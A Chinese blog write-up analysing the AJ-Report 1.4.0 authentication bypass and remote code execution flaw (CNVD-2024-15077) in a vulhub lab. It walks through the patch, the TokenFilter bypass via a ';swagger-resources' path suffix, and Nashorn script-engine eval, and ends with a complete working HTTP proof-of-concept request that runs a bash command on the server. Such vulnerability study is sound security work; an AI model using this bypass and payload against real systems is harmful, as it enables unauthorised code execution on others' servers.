Loading

AJ-Report 认证绕过与远程代码执行漏洞(CNVD-2024-15077)

AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前,存在一处认证绕过漏洞,攻击者利用该漏洞可以绕过权限校验并执行任意代码。

补丁对比

方法一

从docker拖出代码,去gitee下载发行版,便于对比编译后的class。

方法二

查看git的commit记录,可以直接看到修改了哪些内容!后面要去学习一下git。
https://gitee.com/anji-plus/report/commit/bd95a34db8fa68ab5aa96189764205c89c5e7061
修复描述:添加脚本引擎class黑名单,修复命令执行漏洞
image.png

远程调试的坑点

JDK版本

这里项目是JDK8,我们导入代码首先要设置JDK版本,否则调试参数会出问题!
image.png
image.png
image.png
这里要与容器中的对应!

添加库

socket连接成功,如果还是无法命中断点,检查JDK版本后,还需检查库添加是否有问题。
在Project Structure -> Libraries中,将当前目录与子目录下所有jar包增加进来,如果不行,继续递归添加。
image.png
这里要添加到BOOT-INF这一层级,否则还是不行,我猜想是这个jar包有多级目录。要从外到内一直添加到classes目录才可以。
下次遇到这种问题,不能调试就继续对子目录添加库,加到能调试为止。
image.png

漏洞分析

\vulhub\CNVD-2024-15077\aj-report-1.4.0.RELEASE\lib\aj-report-1.4.0.RELEASE.jar
添加库,就可以看到代码并进行调试了。

路由

image.png
标准的springboot项目,路由直接是/dataSetParam/verification

认证绕过

既然是认证绕过,找到与认证/授权相关的代码,代码审计第二步,看鉴权。
image.png

  • Filter

\aj-report-1.4.0.RELEASE\lib\aj-report-1.4.0.RELEASE.jar!\BOOT-INF\classes\com\anjiplus\template\gaea\business\filter\TokenFilter.class
访问swagger-resources会给个/v2/api-docs,会给出所有接口请求文档,这也算是个接口泄露。

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    HttpServletRequest request = (HttpServletRequest)servletRequest;
    HttpServletResponse response = (HttpServletResponse)servletResponse;
    String uri = request.getRequestURI();
    if ("OPTIONS".equalsIgnoreCase(request.getMethod())) {
        filterChain.doFilter(request, response);
    } else if (!uri.contains("swagger-ui") && !uri.contains("swagger-resources")) {
        if (!this.SLASH.equals(uri) && !this.SLASH.concat("/").equals(uri)) {
            boolean skipAuthenticate = this.skipAuthenticatePattern.matcher(uri).matches();
            if (skipAuthenticate) {
                filterChain.doFilter(request, response);
            } else {
                String token = request.getHeader("Authorization");
                String shareToken = request.getHeader("Share-Token");
                if (StringUtils.isBlank(token) && StringUtils.isBlank(shareToken)) {
                    this.error(response);
                } else {
                    String loginName;
                    try {
                        loginName = this.jwtBean.getUsername(token);	//JWT认证
                    } catch (Exception var15) {
                        loginName = "";
                    }

                    String tokenKey = String.format("gaea:security:login:token:%s", loginName);
                    String userKey = String.format("gaea:security:login:user:%s", loginName);
                    if (!this.cacheHelper.exist(tokenKey)) {
                        if (StringUtils.isNotBlank(shareToken)) {
                            List<String> reportCodeList = JwtUtil.getReportCodeList(shareToken);
                            if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview")) {
                                Stream var10000 = reportCodeList.stream();
                                uri.getClass();
                                if (var10000.noneMatch(uri::contains)) {
                                    ResponseBean responseBean = ResponseBean.builder().code("50014").message("分享链接已过期").build();
                                    response.getWriter().print(JSONObject.toJSONString(responseBean));
                                    return;
                                }
                            }

                            filterChain.doFilter(request, response);
                        } else {
                            this.error(response);
                        }
                    } else {
                        String gaeaUserJsonStr = this.cacheHelper.stringGet(userKey);
                        if (!"admin".equals(loginName)) {
                            AtomicBoolean authorizeFlag = this.authorize(request, gaeaUserJsonStr);
                            if (!authorizeFlag.get()) {
                                this.authError(response);
                                return;
                            }
                        }

                        this.cacheHelper.stringSetExpire(tokenKey, token, 3600L);
                        this.cacheHelper.stringSetExpire(userKey, gaeaUserJsonStr, 3600L);
                        filterChain.doFilter(request, response);
                    }
                }
            }
        } else if ("/".equals(uri)) {
            response.sendRedirect("/index.html");
        } else {
            response.sendRedirect(this.SLASH + "/index.html");
        }
    } else {
        filterChain.doFilter(request, response);
    }
}

访问/dataSetParam/verification;swagger-resources可以绕过Filter的检查。

在 URL 中使用分号 ; 来携带附加参数是 URI(统一资源标识符)的一种扩展形式,通常称为“矩阵参数”(Matrix Parameters)。
虽然在 RESTful API 中更常见的是使用查询参数(Query Parameters)来传递附加信息,但矩阵参数也是一种有效的方法。

矩阵参数 vs. 查询参数

  • 矩阵参数:嵌入在路径段中,通常用于描述资源的属性。 用分号 ; 分隔,并嵌入在 URL 路径中。每个参数以键值对的形式表示,类似于查询参数,但放置在路径段中。
  • 查询参数:位于 URL 末尾,用于过滤、排序、分页等操作。

在 Spring Boot 、Spring中,如果不进行额外的配置,框架会默认会识别 URL 中的分号 ;,并且能够正确访问路径。但默认配置会移除分号后的内容,这意味着无法直接解析和使用矩阵参数。
综上所述,使用矩阵参数包含Filter中的白名单字符即可。

代码执行

image.png
根据修改内容很容易定位漏洞位置,在修复中对engine做了黑名单限制。
DataSetParamController#verification

//使用 @Validated 注解进行参数验证,并使用 @RequestBody 注解将请求体中的 JSON 数据转换为 DataSetParamValidationParam 对象。
public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {
    // 创建一个新的 DataSetParamDto 对象
    DataSetParamDto dto = new DataSetParamDto();	//dto可以看成是pojo的升级版,其拥有验证数据的功能
    
    // 从传入参数 param 中获取 sampleItem 并设置到 dto 中
    dto.setSampleItem(param.getSampleItem());
    
    // 从传入参数 param 中获取 validationRules 并设置到 dto 中
    dto.setValidationRules(param.getValidationRules());
    
    // 调用 dataSetParamService 的 verification 方法进行验证,并将结果封装到 ResponseBean 中返回
    return this.responseSuccessWithData(this.dataSetParamService.verification(dto));
}

注意传递的数据为json格式,这是因为@RequestBody注解。详见https://www.itzhimei.com/archives/3499.html

@RequestBody注解是Spring框架中常用的注解之一,用于将HTTP请求的请求体中的数据绑定到一个Java对象上。通过使用@RequestBody注解,可以将请求体中的JSON/XML等格式的数据转换为Java对象,并传递给Controller中的方法进行处理。

DataSetParamServiceImpl#verification,注意这里有函数重载,根据参数类型找到正确的业务函数。

public Object verification(DataSetParamDto dataSetParamDto) { // 方法接收一个 DataSetParamDto 对象并返回一个 Object
    String validationRules = dataSetParamDto.getValidationRules(); // 获取 dataSetParamDto 中的 validationRules
    if (StringUtils.isNotBlank(validationRules)) { // 检查 validationRules 是否不为空
        try {
            this.engine.eval(validationRules); // 使用脚本引擎执行 validationRules
            if (this.engine instanceof Invocable) { // 检查脚本引擎是否实现了 Invocable 接口
                Invocable invocable = (Invocable) this.engine; // 将脚本引擎转换为 Invocable
                Object exec = invocable.invokeFunction("verification", new Object[]{dataSetParamDto}); // 调用脚本中的 verification 函数,并传入 dataSetParamDto 作为参数
                ObjectMapper objectMapper = new ObjectMapper(); // 创建 ObjectMapper 对象用于类型转换
                if (exec instanceof Boolean) { // 如果 exec 是 Boolean 类型
                    return objectMapper.convertValue(exec, Boolean.class); // 将 exec 转换为 Boolean 类型并返回
                }
                return objectMapper.convertValue(exec, String.class); // 将 exec 转换为 String 类型并返回
            }
        } catch (Exception var6) { // 捕获异常
            throw BusinessExceptionBuilder.build("4005", new Object[]{var6.getMessage()}); // 抛出业务异常,包含错误信息
        }
    }
    return true; // 如果 validationRules 为空,返回 true
}

this.engine.eval(validationRules);
这一句导致的RCE。看看engine是什么

public DataSetParamServiceImpl() {
    ScriptEngineManager manager = new ScriptEngineManager();
    this.engine = manager.getEngineByName("JavaScript");
}

ScriptEngineManager 获取名为 "JavaScript" 的脚本引擎。在Java 8-15的版本中,默认情况下,"JavaScript" 引擎指的是 Nashorn 引擎。
Nashorn 支持 JavaScript 与 Java 之间的互操作性,允许JavaScript代码调用Java类和方法。
如果传递给 eval 方法的脚本来自不受信任的来源,攻击者可以编写恶意脚本执行任意Java代码。例如:

var Runtime = Java.type('java.lang.Runtime');
Runtime.getRuntime().exec('calc'); // 在Windows系统	上打开计算器

POC分析

使用 Nashorn引擎执行命令(Java 8 及以上)

Nashorn 是 Java 8 引入的 JavaScript 引擎。你可以使用 Nashorn 来执行 JavaScript 代码,并通过 Java 类型访问系统命令

public class Main {
    public static void main(String[] args) throws ScriptException {

        ScriptEngineManager manager = new ScriptEngineManager();
        ScriptEngine engine = manager.getEngineByName("JavaScript");
        engine.eval("var ProcessBuilder = Java.type('java.lang.ProcessBuilder'); var process = new ProcessBuilder('calc.exe').start();");
    }
}

SpringBoot框架小知识

image.png
Param:用于客户端与Controller之间的数据传输和参数验证。
DTO:用于Controller层与Service之间的数据传输。
POJO/Entity:用于Service层与 DAO 层之间的数据传输,通常表示数据库表结构。
数据流:Param——>DTO——>Entity

完整的POC

POST /dataSetParam/verification;swagger-resources HTTP/1.1
Host: 10.1.1.130:9095
Content-Length: 230
Accept: application/json, text/plain, */*
Authorization: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://10.1.1.130:9095
Referer: http://10.1.1.130:9095/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: apt.uid=AP-YFGMCGUNNIFB-2-1716654996120-84665825.0.2.6b933aba-006b-4c12-b4b5-a0ddc2adfcf4
Connection: close

{
"sampleItem": "1",
"validationRules": "var ProcessBuilder = Java.type('java.lang.ProcessBuilder'); var process = new ProcessBuilder('/bin/bash', '-c', 'touch /tmp/evil').start();"
}

上面分析了SpringBoot的数据流,这里POST的参数从Param相关类里面看。
注意Json中的特殊字符不需要URL编码。
但以下字符需要转义

  • 双引号 ("): 使用反斜杠 () 转义
  • 反斜杠 (): 使用反斜杠 () 转义
  • 其他控制字符(如换行符 \n、回车符 \r 等)
posted @ 2024-05-29 17:40  _rainyday  阅读(922)  评论(0编辑  收藏  举报